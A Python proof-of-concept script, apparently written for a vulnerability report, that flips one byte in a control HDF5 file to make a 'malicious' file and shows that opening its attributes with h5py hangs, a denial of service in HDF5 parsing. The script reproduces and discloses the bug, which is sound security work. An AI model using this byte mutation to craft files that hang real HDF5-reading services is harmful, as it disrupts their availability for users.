#!/usr/bin/env python3
from __future__ import annotations

import hashlib
import subprocess
import sys
from pathlib import Path

import h5py


HERE = Path(__file__).resolve().parent
CONTROL = HERE / "control_scaleoffset_int.h5"
MALICIOUS = HERE / "hdf5_vlen_attr_global_heap_single_byte_hang.h5"
MUTATION_OFFSET = 0x818
MUTATION_FROM = 0x1D
MUTATION_TO = 0x93


WORKER = r"""
import h5py
import sys

print(f"h5py={h5py.__version__} hdf5={h5py.version.hdf5_version}", flush=True)
with h5py.File(sys.argv[1], "r") as f:
    print("opened", flush=True)
    print(list(f.attrs.items()), flush=True)
print("done", flush=True)
"""


def sha256(path: Path) -> str:
    return hashlib.sha256(path.read_bytes()).hexdigest()


def build_malicious() -> None:
    data = bytearray(CONTROL.read_bytes())
    if data[MUTATION_OFFSET] != MUTATION_FROM:
        raise RuntimeError(
            f"unexpected control byte at 0x{MUTATION_OFFSET:x}: "
            f"0x{data[MUTATION_OFFSET]:02x}"
        )
    data[MUTATION_OFFSET] = MUTATION_TO
    MALICIOUS.write_bytes(data)


def run_case(label: str, path: Path, timeout: int = 8) -> dict:
    try:
        cp = subprocess.run(
            [sys.executable, "-c", WORKER, str(path)],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
            timeout=timeout,
            check=False,
        )
        return {
            "label": label,
            "returncode": cp.returncode,
            "stdout": cp.stdout,
            "stderr": cp.stderr,
        }
    except subprocess.TimeoutExpired as exc:
        return {
            "label": label,
            "returncode": f"timeout_after_{timeout}s",
            "stdout": exc.stdout.decode() if isinstance(exc.stdout, bytes) else (exc.stdout or ""),
            "stderr": exc.stderr.decode() if isinstance(exc.stderr, bytes) else (exc.stderr or ""),
        }


def main() -> int:
    if not CONTROL.exists():
        raise FileNotFoundError(CONTROL)
    build_malicious()

    print(f"runtime_h5py={h5py.__version__}")
    print(f"runtime_hdf5={h5py.version.hdf5_version}")
    print(f"control={CONTROL} size={CONTROL.stat().st_size} sha256={sha256(CONTROL)}")
    print(f"malicious={MALICIOUS} size={MALICIOUS.stat().st_size} sha256={sha256(MALICIOUS)}")
    print(
        "mutation="
        f"offset 0x{MUTATION_OFFSET:x}: 0x{MUTATION_FROM:02x} -> 0x{MUTATION_TO:02x}"
    )

    for label, path in [("control", CONTROL), ("malicious", MALICIOUS)]:
        result = run_case(label, path)
        print(f"\n--- {label} ---")
        print(f"returncode={result['returncode']}")
        if result["stdout"]:
            print("stdout:")
            print(result["stdout"], end="" if result["stdout"].endswith("\n") else "\n")
        if result["stderr"]:
            print("stderr:")
            print(result["stderr"], end="" if result["stderr"].endswith("\n") else "\n")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())